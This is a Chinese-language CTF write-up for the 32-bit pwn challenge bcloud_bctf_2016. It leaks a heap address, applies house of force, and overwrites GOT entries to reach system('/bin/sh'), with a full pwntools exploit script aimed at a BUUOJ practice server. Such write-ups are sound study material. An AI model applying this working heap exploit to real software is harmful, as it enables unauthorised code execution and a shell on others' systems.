bcloud_bctf_2016
惯例我们先来checksec一下
有趣的是这居然是一题罕见的32位题目
放进ida里看看
首先main函数 标准菜单题
begin函数里面有两个函数一个get_name一个get_org_host
get_name
我们需要注意的是strcpy是遇\x00停止 而我们chunk的addr紧接着s 因此我们可以通过my_print函数泄露堆地址
get_org_host
同理 在get_org_host中我们也可以通过strcpy来篡改topchunk的size位 这样我们就达成了house_of_force的必要条件
io.send("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa")
io.recvuntil("paaa")
heap_addr=u32(io.recv(4))
print(hex(heap_addr))
io.recvuntil("Org:")
io.send('a'*0x3f+'b')
io.recvuntil("Host:")
io.sendline(p32(0xffffffff))
io.recvuntil("OKay!")
topchunk_addr=0xd0+heap_addr
接下来就是标准的house_of_force的流程了
先将chunk劫持到chunk_addr_list上 然后我们通过篡改其上的内容来达成泄露libc地址的目的
offset=0x0804B120-topchunk_addr-0x10
add(offset,'') #chunk 0
#add(0x18,'\n')
payload=p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00'
add(0x18,payload) #chunk 1
edit(1,p32(puts_plt) + '\n')
delete(2) #leak puts_addr
io.recv(1)
puts_addr = u32(io.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
然后我们将free_got的内容篡改为system的地址 再执行delete(3)
即可达成执行system("/bin/sh")
的目的
自此成功获取控制权
exp:
from pwn import *
from LibcSearcher import *
context.log_level='debug'
#io=process("./bcloud_bctf_2016")
io=remote('node4.buuoj.cn',29241)
elf=ELF("./bcloud_bctf_2016")
libc=ELF("./libc-2.23-x64.so")
io.send("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa")
io.recvuntil("paaa")
heap_addr=u32(io.recv(4))
print(hex(heap_addr))
io.recvuntil("Org:")
io.send('a'*0x3f+'b')
io.recvuntil("Host:")
io.sendline(p32(0xffffffff))
io.recvuntil("OKay!")
topchunk_addr=0xd0+heap_addr
def add(size,content):
io.sendlineafter('option--->>','1')
io.sendlineafter('Input the length of the note content:',str(size))
io.sendafter('Input the content:',content)
def edit(index,content):
io.sendlineafter('option--->>','3')
io.sendlineafter('Input the id:',str(index))
io.sendafter('Input the new content:',content)
def delete(index):
io.sendlineafter('option--->>','4')
io.sendlineafter('Input the id:',str(index))
free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
offset=0x0804B120-topchunk_addr-0x10
add(offset,'') #chunk 0
#add(0x18,'\n')
payload=p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00'
add(0x18,payload) #chunk 1
edit(1,p32(puts_plt) + '\n')
delete(2) #leak puts_addr
io.recv(1)
puts_addr = u32(io.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
edit(1,p32(system_addr) + '\n')
delete(3)
io.interactive()
本文参考了ha1vk师傅的 (83条消息) bcloud_bctf_2016(house of force)_ha1vk的博客-CSDN博客